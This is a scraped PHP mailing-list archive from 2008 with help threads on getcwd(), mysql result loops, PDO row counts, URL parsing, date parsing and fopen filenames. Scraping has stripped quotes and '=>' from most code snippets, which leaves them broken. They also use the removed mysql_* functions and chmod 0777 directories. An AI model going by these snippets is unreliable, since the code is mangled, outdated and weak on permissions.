On Fri, 2008-08-22 at 22:13 -0400, Eric Butera wrote: On Thu, Aug 21, 2008 at 8:50 PM, Ólafur Waage [EMAIL PROTECTED] wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Maybe dirname(__FILE__) will help. When I'm looking for candidates to determine stuff like this I usually do print_r( $_SERVER ) and see what's what. Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Quick question regarding getcwd() and directory location.
Once you tell apache to load /example/index.php, that's where you are. You might try looking at the $_SERVER['HTTP_REFERER']. Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Ólafur Waage wrote: I'll throw out an example here. I have a directory structure of: /var/www/example/ And in that i have a file: index.php That file echo's getcwd() and returns: /var/www/example/ Now i tell Apache or Lighty that if a directory does not have an index.php file, that it should use /example/index.php (for example via DirectoryIndex of Apache) Then i make a new directory: /var/www/test/ And browse to it and it echo's /var/www/example/ since its running that file via DirectoryIndex This is true for all directories i make. Both for Windows and Linux based servers. To my question. I am trying to get the full path of the current directory i am in. Not from where the file is executing. How is that possible so it displays a full path to that directory (regardless to the server setup)? I have tried a variation of things and have gotten mixed results. Using $_SERVER[SCRIPT_FILENAME] gives me the index file and the full path to that. $_SERVER[DOCUMENT_ROOT] gets me part of the way but on a hosted server with multiple domains it only gives me a partial path (rough example: /var/www/ when the directory is /var/www/domain.com/test/) And __FILE__ gives me the index.php's path. I have also tried realpath(.); And server(pwd); with no luck. Any help would be appreciated. Ólafur Waage -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] foreach question
On Tue, Jul 29, 2008 at 3:25 PM, Jason Pruim [EMAIL PROTECTED] wrote: function random($random){ $randomQuery = SELECT * FROM `current` ORDER BY Rand() LIMIT 2; $result = mysql_query($randomQuery); $row[] = $result; foreach($row as $key = $value) { $random[$key] = $value; } return $random; }//End of function ? You're missing mysql_fetch_array(), mysql_fetch_assoc(), or something of the like. Example: ?php // code $result = mysql_query($randomQuery); $row = mysql_fetch_array($result); foreach($row as $k = $v) { $random[$k] = $v; } // code } ? -- /Daniel P. Brown Better prices on dedicated servers: Intel 2.4GHz/60GB/512MB/2TB $49.99/mo. Intel 3.06GHz/80GB/1GB/2TB $59.99/mo. Dedicated servers, VPS, and hosting from $2.50/mo. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] foreach question
You cannot do this: $row[] = $result; You need to loop around this: $row = mysql_fetch_assoc($result); Thank you, Micah Gersten onShore Networks Internal Developer http://www.onshore.com Jason Pruim wrote: Hey Everyone... So I am attempting to pull 2 random records from a MySQL database, so I wrote a function which I'll paste below. I had it mostly working with a while() statement, but I wanted to try a foreach to see if I could get the formatting a little bit better. Basically... What it does is grab 2 records at random from the database, and display the images. What I want is something that looks like this: img1 VS img2 right now though... I'm at a lose to figure out why it's not returning any records but not throwing any errors... Any ideas what I'm missing? ?PHP //function for pulling random pictures from the database function random($random){ $randomQuery = SELECT * FROM `current` ORDER BY Rand() LIMIT 2; $result = mysql_query($randomQuery); $row[] = $result; foreach($row as $key = $value) { $random[$key] = $value; } return $random; }//End of function ? Any ideas? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] foreach question
On Jul 29, 2008, at 3:33 PM, Daniel Brown wrote: On Tue, Jul 29, 2008 at 3:25 PM, Jason Pruim [EMAIL PROTECTED] wrote: function random($random){ $randomQuery = SELECT * FROM `current` ORDER BY Rand() LIMIT 2; $result = mysql_query($randomQuery); $row[] = $result; foreach($row as $key = $value) { $random[$key] = $value; } return $random; }//End of function ? You're missing mysql_fetch_array(), mysql_fetch_assoc(), or something of the like. Example: ?php // code $result = mysql_query($randomQuery); $row = mysql_fetch_array($result); foreach($row as $k = $v) { $random[$k] = $v; } // code } ? Added that, then changed how I was calling it and it works great now... Thanks for looking... The problem was definitely between the chair and the keyboard on this one. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] SESSIONS QUESTION
At 9:59 AM -0700 7/18/08, R.C. wrote: What's the sequence here. I was able to get the password going, protect the main.php page, sent the email etc. but can't get that password to remain on the main.php when they user tries to get back to that page. Really appreciate some input and coding. I am totally stumped! Thanks much REF REF: Try this: http://www.webbytedd.com/b1/simple-session The code is there. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PDO Question. Number of rows returned
Kevin Waterson wrote: I am switching to PDO and can't find an equivalent to mysql_num_rows. Am I missing something silly? Or is there a change of thinking needed for PDO? How should I determine how many rows a query returned? PDO returns an array, sizeof/count will get you home I would like to know how many rows I am working with before starting to fetch. Also fetchall, does not seem to have a style that returns each column value just once. I see this ugly thing in the manual: Fetch all of the remaining rows in the result set: Array ( [0] = Array ( [NAME] = pear [0] = pear [COLOUR] = green [1] = green ) [1] = Array ( [NAME] = watermelon [0] = watermelon [COLOUR] = pink [1] = pink ) ) If I could get the column offsets only, without the column names I would be very happy. Stephen -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PDO Question. Number of rows returned
On Sun, Jul 13, 2008 at 10:30 AM, Stephen [EMAIL PROTECTED] wrote: Kevin Waterson wrote: I am switching to PDO and can't find an equivalent to mysql_num_rows. Am I missing something silly? Or is there a change of thinking needed for PDO? How should I determine how many rows a query returned? PDO returns an array, sizeof/count will get you home I would like to know how many rows I am working with before starting to fetch. Also fetchall, does not seem to have a style that returns each column value just once. I see this ugly thing in the manual: Fetch all of the remaining rows in the result set: Array ( [0] = Array ( [NAME] = pear [0] = pear [COLOUR] = green [1] = green ) [1] = Array ( [NAME] = watermelon [0] = watermelon [COLOUR] = pink [1] = pink ) ) If I could get the column offsets only, without the column names I would be very happy. Stephen -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php http://ca3.php.net/manual/en/pdostatement.rowcount.php -- Bastien Cat, the other other white meat
Re: [PHP] PDO Question. Number of rows returned
Bastien Koert wrote: On Sun, Jul 13, 2008 at 10:30 AM, Stephen [EMAIL PROTECTED] wrote: Kevin Waterson wrote: I am switching to PDO and can't find an equivalent to mysql_num_rows. Am I missing something silly? Or is there a change of thinking needed for PDO? How should I determine how many rows a query returned? PDO returns an array, sizeof/count will get you home I would like to know how many rows I am working with before starting to fetch. Also fetchall, does not seem to have a style that returns each column value just once. I see this ugly thing in the manual: Fetch all of the remaining rows in the result set: Array ( [0] = Array ( [NAME] = pear [0] = pear [COLOUR] = green [1] = green ) [1] = Array ( [NAME] = watermelon [0] = watermelon [COLOUR] = pink [1] = pink ) ) If I could get the column offsets only, without the column names I would be very happy. http://ca3.php.net/manual/en/pdostatement.rowcount.php This is only good for updates, inserts and deletes.br I am just doing a select. Stephenbr -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PDO Question. Number of rows returned
On Sun, Jul 13, 2008 at 11:12 AM, Stephen [EMAIL PROTECTED] wrote: Bastien Koert wrote: On Sun, Jul 13, 2008 at 10:30 AM, Stephen [EMAIL PROTECTED] [EMAIL PROTECTED] wrote: Kevin Waterson wrote: I am switching to PDO and can't find an equivalent to mysql_num_rows. Am I missing something silly? Or is there a change of thinking needed for PDO? How should I determine how many rows a query returned? PDO returns an array, sizeof/count will get you home I would like to know how many rows I am working with before starting to fetch. Also fetchall, does not seem to have a style that returns each column value just once. I see this ugly thing in the manual: Fetch all of the remaining rows in the result set: Array ( [0] = Array ( [NAME] = pear [0] = pear [COLOUR] = green [1] = green ) [1] = Array ( [NAME] = watermelon [0] = watermelon [COLOUR] = pink [1] = pink ) ) If I could get the column offsets only, without the column names I would be very happy. Stephen http://ca3.php.net/manual/en/pdostatement.rowcount.php This is only good for updates, inserts and deletes. I am just doing a select. Stephen my bad. Note you can change the default return array behaviour by change the FETCH_STYLE, default is both ordinal and col name -- Bastien Cat, the other other white meat
Re: [PHP] PDO Question. Number of rows returned
This one time, at band camp, Stephen [EMAIL PROTECTED] wrote: I am switching to PDO and can't find an equivalent to mysql_num_rows. Am I missing something silly? Or is there a change of thinking needed for PDO? How should I determine how many rows a query returned? PDO returns an array, sizeof/count will get you home Kevin http://phpro.org -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie Question: How to pass URL info to .php script ?
I pasted your example in and it doesn't work for me (again, newbie). I will play with it and see if I can get it working. My main goal is to have Ruby-like URL's vs ?var=3425. Is this possible with .php (without mod_rewrite / something in the http server?) Thanks, Ethan On Wed, Jun 18, 2008 at 9:59 PM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Jun 18, 2008 at 10:45 PM, Ethan Whitt [EMAIL PROTECTED] wrote: Not sure how to achieve this. How can I grab a portion of a URl to send to a .php script in this fashion? www.test.com/article/3435 - Grab the 3435 to process in a script? take a look at the $_SERVER superglobal array, http://www.php.net/manual/en/reserved.variables.server.php most likely you are looking for, $_SERVER['PATH_TRANSLATED'], but it really depends on what you want out of the url, so make sure to read through the options, and their explanations. those values are just strings, so its quite easy to extract portions of the string using a variety of techniques. for example, give the url in your question (suppose we find it in $_SERVER['PATH_TRANSLATED']) $lastPath = substr($_SERVER['PATH_TRANSLATED'], strrpos($_SERVER['PATH_TRANSLATED']), '/') + 1); // $lastPath = '3435' -nathan
RE: [PHP] Newbie Question: How to pass URL info to .php script ?
Have you tried CodeIgniter http://www.codeigniter.com? Not as restrictive as many MVC frameworks and very easy to work with. What you wish to achieve can be done with one line. $myvar = $this-uri-segment(2); http://codeigniter.com/user_guide/libraries/uri.html Likely not to everyone's taste but on a personal level I think it's one of the better MVCs about. Bob. -Original Message- From: Ethan Whitt Sent: 19 June 2008 17:19 To: Nathan Nobbe Cc: php-general@lists.php.net Subject: Re: [PHP] Newbie Question: How to pass URL info to .php script ? I pasted your example in and it doesn't work for me (again, newbie). I will play with it and see if I can get it working. My main goal is to have Ruby-like URL's vs ?var=3425. Is this possible with .php (without mod_rewrite / something in the http server?) Thanks, Ethan On Wed, Jun 18, 2008 at 9:59 PM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Jun 18, 2008 at 10:45 PM, Ethan Whitt [EMAIL PROTECTED] wrote: Not sure how to achieve this. How can I grab a portion of a URl to send to a .php script in this fashion? www.test.com/article/3435 - Grab the 3435 to process in a script? take a look at the $_SERVER superglobal array, http://www.php.net/manual/en/reserved.variables.server.php most likely you are looking for, $_SERVER['PATH_TRANSLATED'], but it really depends on what you want out of the url, so make sure to read through the options, and their explanations. those values are just strings, so its quite easy to extract portions of the string using a variety of techniques. for example, give the url in your question (suppose we find it in $_SERVER['PATH_TRANSLATED']) $lastPath = substr($_SERVER['PATH_TRANSLATED'], strrpos($_SERVER['PATH_TRANSLATED']), '/') + 1); // $lastPath = '3435' -nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie Question: How to pass URL info to .php script ?
Ethan, you can try this: $url = www.test.com/article/3435; echo basename($url); another solution is that you can use explode() function to seprate your url from '/' or you can use regex to parse your url - Jignesh On Thu, Jun 19, 2008 at 8:18 AM, Ethan Whitt [EMAIL PROTECTED] wrote: I pasted your example in and it doesn't work for me (again, newbie). I will play with it and see if I can get it working. My main goal is to have Ruby-like URL's vs ?var=3425. Is this possible with .php (without mod_rewrite / something in the http server?) Thanks, Ethan On Wed, Jun 18, 2008 at 9:59 PM, Nathan Nobbe [EMAIL PROTECTED] wrote: On Wed, Jun 18, 2008 at 10:45 PM, Ethan Whitt [EMAIL PROTECTED] wrote: Not sure how to achieve this. How can I grab a portion of a URl to send to a .php script in this fashion? www.test.com/article/3435 - Grab the 3435 to process in a script? take a look at the $_SERVER superglobal array, http://www.php.net/manual/en/reserved.variables.server.php most likely you are looking for, $_SERVER['PATH_TRANSLATED'], but it really depends on what you want out of the url, so make sure to read through the options, and their explanations. those values are just strings, so its quite easy to extract portions of the string using a variety of techniques. for example, give the url in your question (suppose we find it in $_SERVER['PATH_TRANSLATED']) $lastPath = substr($_SERVER['PATH_TRANSLATED'], strrpos($_SERVER['PATH_TRANSLATED']), '/') + 1); // $lastPath = '3435' -nathan
Re: [PHP] Newbie Question: How to pass URL info to .php script ?
On Thu, Jun 19, 2008 at 1:28 AM, Bob [EMAIL PROTECTED] wrote: Have you tried CodeIgniter http://www.codeigniter.com? Not as restrictive as many MVC frameworks and very easy to work with. What you wish to achieve can be done with one line. $myvar = $this-uri-segment(2); right, and if you look at the implementation there, you can see usage of mod_rewrite and the $_SERVER array. what i was trying to convey is that OP will need some way to access the url that has been requested by the client. the $_SERVER array is the only way i know of; if there are other ways im always up for learning something new. -nathan
Re: [PHP] Newbie Question: How to pass URL info to .php script ?
On Thu, Jun 19, 2008 at 1:18 AM, Ethan Whitt [EMAIL PROTECTED] wrote: I pasted your example in and it doesn't work for me (again, newbie). I will play with it and see if I can get it working. My main goal is to have Ruby-like URL's vs ?var=3425. Is this possible with .php (without mod_rewrite / something in the http server?) i just typed it into the browser so it could have some mistakes. well to answer your question, yes, you can use external redirects from php, and if you store the query string (part of url past ?) then it can be made accessible to whatever file youve redirected the client to. so like, a client request a page, say, http://youresite.com/somedir?a=5b=6 in somedir, on your webserver, you just put an index.php file. then in there, you do something like put the values $_GET['a'] and $_GET['b'] in some persistent storage, like $_SESSION, a db, or just in a file somewhere. then you use header to redirect the client to a url that doenst have the query string, something like if(!empty($_GET)) { /// store $_GET vars header('Location: http://yoursite.com/somedir'); } else { /// check storage location for vars to load /// make sure to filter said vars ! } while this approach is effective, i consider it messy / inefficient / cumbersome, and personally favor mod_rewrite. if you look into code igniter or other frameworks, you can see how they are managing the implementation of pretty urls. most of them will favor mod_rewrite, but offer an alternative for people who dont want to use it or dont have access to it (because of hosting provider for example). so you might dig into some open source code for a nice tested solution to your problem. and digging through open source code can just be so much fun ;D -nathan
Re: [PHP] Newbie Question: How to pass URL info to .php script ?
You could just use an apache (or other web server) alias: www.test.com/article - www.test.com/article.php where article.php uses: ?php $uri_vars = explode('/', $_SERVER['PATH_INFO']); foreach ($uri_vars as $var) if ($var != ) echo $var . br; ?
Re: [PHP] Newbie Question: How to pass URL info to .php script ?
On Wed, Jun 18, 2008 at 10:45 PM, Ethan Whitt [EMAIL PROTECTED] wrote: Not sure how to achieve this. How can I grab a portion of a URl to send to a .php script in this fashion? www.test.com/article/3435 - Grab the 3435 to process in a script? take a look at the $_SERVER superglobal array, http://www.php.net/manual/en/reserved.variables.server.php most likely you are looking for, $_SERVER['PATH_TRANSLATED'], but it really depends on what you want out of the url, so make sure to read through the options, and their explanations. those values are just strings, so its quite easy to extract portions of the string using a variety of techniques. for example, give the url in your question (suppose we find it in $_SERVER['PATH_TRANSLATED']) $lastPath = substr($_SERVER['PATH_TRANSLATED'], strrpos($_SERVER['PATH_TRANSLATED']), '/') + 1); // $lastPath = '3435' -nathan
Re: [PHP] OT - Question about nested sortable lists
On Fri, May 16, 2008 at 11:09 AM, Jim Lucas [EMAIL PROTECTED] wrote: I notice in a previous thread, people are suggesting using these two tools. http://developer.yahoo.com/yui/examples/dragdrop/dd-reorder.html and http://tool-man.org/examples/ Now, my question is, does anybody know if these, or similar tools, would allow you to manipulate nested lists and move items between lists and various levels? Example would be this. I work for a telephone company and I am in the process of rebuilding the Add a new Service wizard. What I would like to do is to allow people to move nested lists around. DS1 #1 Voice line # 800-555-1210 Caller ID Three Way Calling Voice line # 800-555-1211 Caller ID Three Way Calling Voice line # 800-555-1212 Caller ID Three Way Calling DS1 #2 Voice line # 800-555-1214 Caller ID Three Way Calling Voice line # 800-555-1215 Caller ID Three Way Calling Voice line # 800-555-1216 Caller ID Three Way Calling This is what I would like to end up with. But what I start with is an empty white board. With a static list of available services above the white board. What I would like to see is someone be able to grab the DS1 service and place it. Then grab a voice line and place that as a sub-service to the DS1. Then be able to grab Features and add them as sub-services to the previous voice line. Now say they are done but realize that instead the 800-555-1216 number under the DS1 #2, it should have been under DS1 #1. Could someone grab the Voice line # 800-555-1216 and move it so it becomes a sub-service of DS1 #1? and keeps the features that were previously associated to it intake? TIA -- Jim Lucas [EMAIL PROTECTED] Systems Engineer 541-323-9113 BendTelwww.bendtel.com -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them. Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Jim, You could make each element of the list its own div..then you could use the drag'n'drop tools -- Bastien Cat, the other other white meat
Re: [PHP] quick question
Ho to read date from HTML form - How to read $_POST['date']=dd/mm/ string variable as a date? If you want a unix timestamp then try investigating strtotime(). -- Richard Heyes ++ | Access SSH with a Windows mapped drive | |http://www.phpguru.org/sftpdrive| ++ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] quick question
Well, when I try date('d/m/y', strtotime($_POST('date')) - it seems mixing day and month, I tried setlocale(LC_ALL, 'en_GB'); but it didn't strtotime() returns a unix timestamp (ie number of seconds since 1970ish. Nothing to do with the date object. -- Richard Heyes ++ | Access SSH with a Windows mapped drive | |http://www.phpguru.org/sftpdrive| ++ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] quick question
Well, when I try date('d/m/y', strtotime($_POST('date')) - it seems mixing day and month, I tried setlocale(LC_ALL, 'en_GB'); but it didn't If you're sure that's the format of the date, this will do it... list($day, $month, $year) = explode('/', $thedate); $thetimestamp = mktime(0, 0, 0, $month, $day, $year); -Stut -- http://stut.net/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question regarding fopen
?php $foldersystem = getcwd().'/test1'; $id = '54961'; $imgstr = 'tdtdtdtd'; //uniqid(); $i = 2; $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder mkdir($foldersystem); chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } This code works for me. How about you ? -- /James On Thu, May 1, 2008 at 11:04 AM, Joep Roebroek [EMAIL PROTECTED] wrote: Does anyone have an idea? Is this a bug in PHP? Because when I add or remove one static letter in the filename, it does work. And if I don't the file is created, but the $imgstr (random 8 characters) is replaced by a totally different value (also random 8 characters).. I have no idea where this new value comes from. regards, Joep 2008/4/29 Joep Roebroek [EMAIL PROTECTED]: Hi, I'm having a strange problem with fopen For clearence, here is the phpinfo page: http://www.grondengoed.nl/phpinfo.php I will shortly explain the problem I'm having: $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder @mkdir($foldersystem); @chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } //$imagesmall, contains the image resource if(fwrite($handle, $imagesmall) === FALSE) { echo Cannot write to file (32); exit; } fclose($handle); Erverything works perfectly fine.But one thing, it doesn't give the file the name that it should get. A name for instance has to be: 54961tdtdtdtd-s0.jpg The number is the id of the database row, the 8 characters are random. -s stands for small and 0 is the picture index. When I echo the value, I get what I want. But when I save it, the random 8 character string had become a totally different 8 character string :S. I have googled and checked things over and over again, cost me hours and I still haven't found the reason. What is noticeable is that when I leave one character away from the name, the value IS what it schould be:S. I really hope you can help me, if you need further info yust ask. Thanks in advance. regards, Joep Roebroek -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question regarding fopen
Strangely enough.. It does.. But I have also tried adding a letter (which gives me the good result) and then renaming it... But then the value is wrong again :S I've never had a problem like this.. Very strange.. 2008/5/1 James Dempster [EMAIL PROTECTED]: ?php $foldersystem = getcwd().'/test1'; $id = '54961'; $imgstr = 'tdtdtdtd'; //uniqid(); $i = 2; $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder mkdir($foldersystem); chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } This code works for me. How about you ? -- /James On Thu, May 1, 2008 at 11:04 AM, Joep Roebroek [EMAIL PROTECTED] wrote: Does anyone have an idea? Is this a bug in PHP? Because when I add or remove one static letter in the filename, it does work. And if I don't the file is created, but the $imgstr (random 8 characters) is replaced by a totally different value (also random 8 characters).. I have no idea where this new value comes from. regards, Joep 2008/4/29 Joep Roebroek [EMAIL PROTECTED]: Hi, I'm having a strange problem with fopen For clearence, here is the phpinfo page: http://www.grondengoed.nl/phpinfo.php I will shortly explain the problem I'm having: $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder @mkdir($foldersystem); @chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } //$imagesmall, contains the image resource if(fwrite($handle, $imagesmall) === FALSE) { echo Cannot write to file (32); exit; } fclose($handle); Erverything works perfectly fine.But one thing, it doesn't give the file the name that it should get. A name for instance has to be: 54961tdtdtdtd-s0.jpg The number is the id of the database row, the 8 characters are random. -s stands for small and 0 is the picture index. When I echo the value, I get what I want. But when I save it, the random 8 character string had become a totally different 8 character string :S. I have googled and checked things over and over again, cost me hours and I still haven't found the reason. What is noticeable is that when I leave one character away from the name, the value IS what it schould be:S. I really hope you can help me, if you need further info yust ask. Thanks in advance. regards, Joep Roebroek -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question regarding fopen
Do you have a piece of example code that will reproduce the problem? -- /James On Thu, May 1, 2008 at 12:26 PM, Joep Roebroek [EMAIL PROTECTED] wrote: Strangely enough.. It does.. But I have also tried adding a letter (which gives me the good result) and then renaming it... But then the value is wrong again :S I've never had a problem like this.. Very strange.. 2008/5/1 James Dempster [EMAIL PROTECTED]: ?php $foldersystem = getcwd().'/test1'; $id = '54961'; $imgstr = 'tdtdtdtd'; //uniqid(); $i = 2; $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder mkdir($foldersystem); chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } This code works for me. How about you ? -- /James On Thu, May 1, 2008 at 11:04 AM, Joep Roebroek [EMAIL PROTECTED] wrote: Does anyone have an idea? Is this a bug in PHP? Because when I add or remove one static letter in the filename, it does work. And if I don't the file is created, but the $imgstr (random 8 characters) is replaced by a totally different value (also random 8 characters).. I have no idea where this new value comes from. regards, Joep 2008/4/29 Joep Roebroek [EMAIL PROTECTED]: Hi, I'm having a strange problem with fopen For clearence, here is the phpinfo page: http://www.grondengoed.nl/phpinfo.php I will shortly explain the problem I'm having: $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder @mkdir($foldersystem); @chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } //$imagesmall, contains the image resource if(fwrite($handle, $imagesmall) === FALSE) { echo Cannot write to file (32); exit; } fclose($handle); Erverything works perfectly fine.But one thing, it doesn't give the file the name that it should get. A name for instance has to be: 54961tdtdtdtd-s0.jpg The number is the id of the database row, the 8 characters are random. -s stands for small and 0 is the picture index. When I echo the value, I get what I want. But when I save it, the random 8 character string had become a totally different 8 character string :S. I have googled and checked things over and over again, cost me hours and I still haven't found the reason. What is noticeable is that when I leave one character away from the name, the value IS what it schould be:S. I really hope you can help me, if you need further info yust ask. Thanks in advance. regards, Joep Roebroek -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question regarding fopen
This problem is getting stranger by the minute. I will explain in a little more detail what the script is actually for.. It is an advert site and per advert, you can add 5 photo's.. Now you set the $i = 2; When I set the $i (which indictates the index of the photo, so $i = 5; is the last photo) myself, it works.. But normally I get the $i from the database, because there is stored how many photo's the already are in the advert.. When I use that value it doesn't work at all. When i set $i = 2.. It works :S,, but when the value it gets from the db also is 2 than it doesn't work (it is like it just doesn't want me to get it working :P)... Reproduction would be very difficult, because it is in this very specific situation... Maybe I am able to give you access to the FTP but that is a bit risky for me, not that I don't trust you, but the website is not mine.. regards, Joep 2008/5/1 James Dempster [EMAIL PROTECTED]: Do you have a piece of example code that will reproduce the problem? -- /James On Thu, May 1, 2008 at 12:26 PM, Joep Roebroek [EMAIL PROTECTED] wrote: Strangely enough.. It does.. But I have also tried adding a letter (which gives me the good result) and then renaming it... But then the value is wrong again :S I've never had a problem like this.. Very strange.. 2008/5/1 James Dempster [EMAIL PROTECTED]: ?php $foldersystem = getcwd().'/test1'; $id = '54961'; $imgstr = 'tdtdtdtd'; //uniqid(); $i = 2; $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder mkdir($foldersystem); chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } This code works for me. How about you ? -- /James On Thu, May 1, 2008 at 11:04 AM, Joep Roebroek [EMAIL PROTECTED] wrote: Does anyone have an idea? Is this a bug in PHP? Because when I add or remove one static letter in the filename, it does work. And if I don't the file is created, but the $imgstr (random 8 characters) is replaced by a totally different value (also random 8 characters).. I have no idea where this new value comes from. regards, Joep 2008/4/29 Joep Roebroek [EMAIL PROTECTED]: Hi, I'm having a strange problem with fopen For clearence, here is the phpinfo page: http://www.grondengoed.nl/phpinfo.php I will shortly explain the problem I'm having: $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder @mkdir($foldersystem); @chmod($foldersystem, 0777); //save picture if(!($handle = fopen($imagenamesmall, 'w'))){ echo Cannot open file (31); exit; } //$imagesmall, contains the image resource if(fwrite($handle, $imagesmall) === FALSE) { echo Cannot write to file (32); exit; } fclose($handle); Erverything works perfectly fine.But one thing, it doesn't give the file the name that it should get. A name for instance has to be: 54961tdtdtdtd-s0.jpg The number is the id of the database row, the 8 characters are random. -s stands for small and 0 is the picture index. When I echo the value, I get what I want. But when I save it, the random 8 character string had become a totally different 8 character string :S. I have googled and checked things over and over again, cost me hours and I still haven't found the reason. What is noticeable is that when I leave one character away from the name, the value IS what it schould be:S. I really hope you can help me, if you need further info yust ask. Thanks in advance. regards, Joep Roebroek -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Question regarding fopen
Small correction $i = 4, means the last photo not 5.. Not so important but still.:P 2008/5/1 Joep Roebroek [EMAIL PROTECTED]: This problem is getting stranger by the minute. I will explain in a little more detail what the script is actually for.. It is an advert site and per advert, you can add 5 photo's.. Now you set the $i = 2; When I set the $i (which indictates the index of the photo, so $i = 5; is the last photo) myself, it works.. But normally I get the $i from the database, because there is stored how many photo's the already are in the advert.. When I use that value it doesn't work at all. When i set $i = 2.. It works :S,, but when the value it gets from the db also is 2 than it doesn't work (it is like it just doesn't want me to get it working :P)... Reproduction would be very difficult, because it is in this very specific situation... Maybe I am able to give you access to the FTP but that is a bit risky for me, not that I don't trust you, but the website is not mine.. regards, Joep 2008/5/1 James Dempster [EMAIL PROTECTED]: Do you have a piece of example code that will reproduce the problem? -- /James On Thu, May 1, 2008 at 12:26 PM, Joep Roebroek [EMAIL PROTECTED] wrote: Strangely enough.. It does.. But I have also tried adding a letter (which gives me the good result) and then renaming it... But then the value is wrong again :S I've never had a problem like this.. Very strange.. 2008/5/1 James Dempster [EMAIL PROTECTED]: ?php $foldersystem = getcwd().'/test1'; $id = '54961'; $imgstr = 'tdtdtdtd'; //uniqid(); $i = 2; $imagenamesmall = $foldersystem . '/' . $id . $imgstr . '-s' . $i . '.jpg'; echo $imagenamesmall; // For debugging purposses -- returns exactly what I want. //attempt to create folder 